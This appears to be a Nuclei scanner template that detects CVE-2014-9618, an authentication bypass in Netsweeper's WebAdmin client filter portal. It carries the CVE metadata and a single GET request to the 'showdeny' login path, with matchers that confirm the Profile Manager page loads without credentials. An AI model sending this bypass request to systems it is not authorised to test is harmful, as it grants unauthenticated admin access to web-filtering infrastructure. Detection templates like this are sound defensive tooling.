id: CVE-2014-9618 info: name: Netsweeper 4.0.8 - Authentication Bypass (New Profile Creation) author: daffainfo severity: critical description: The Client Filter Admin portal in Netsweeper before 3.1.10, 4.0.x before 4.0.9, and 4.1.x before 4.1.2 allows remote attackers to bypass authentication and subsequently create arbitrary profiles via a showdeny action to the default URL. reference: - https://packetstormsecurity.com/files/download/133034/netsweeper-issues.tgz - https://nvd.nist.gov/vuln/detail/CVE-2014-9618 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2014-9618 cwe-id: CWE-287 tags: cve,cve2014,netsweeper,auth-bypass requests: - method: GET path: - '{{BaseURL}}/webadmin/clientlogin/?srid=&action=showdeny&url=' matchers-condition: and matchers: - type: word part: body words: - 'name=formtag action="../clientlogin/?srid=&action=showdeny&url="' - 'placeholder="Profile Manager">' - 'Netsweeper WebAdmin' condition: and - type: status status: - 200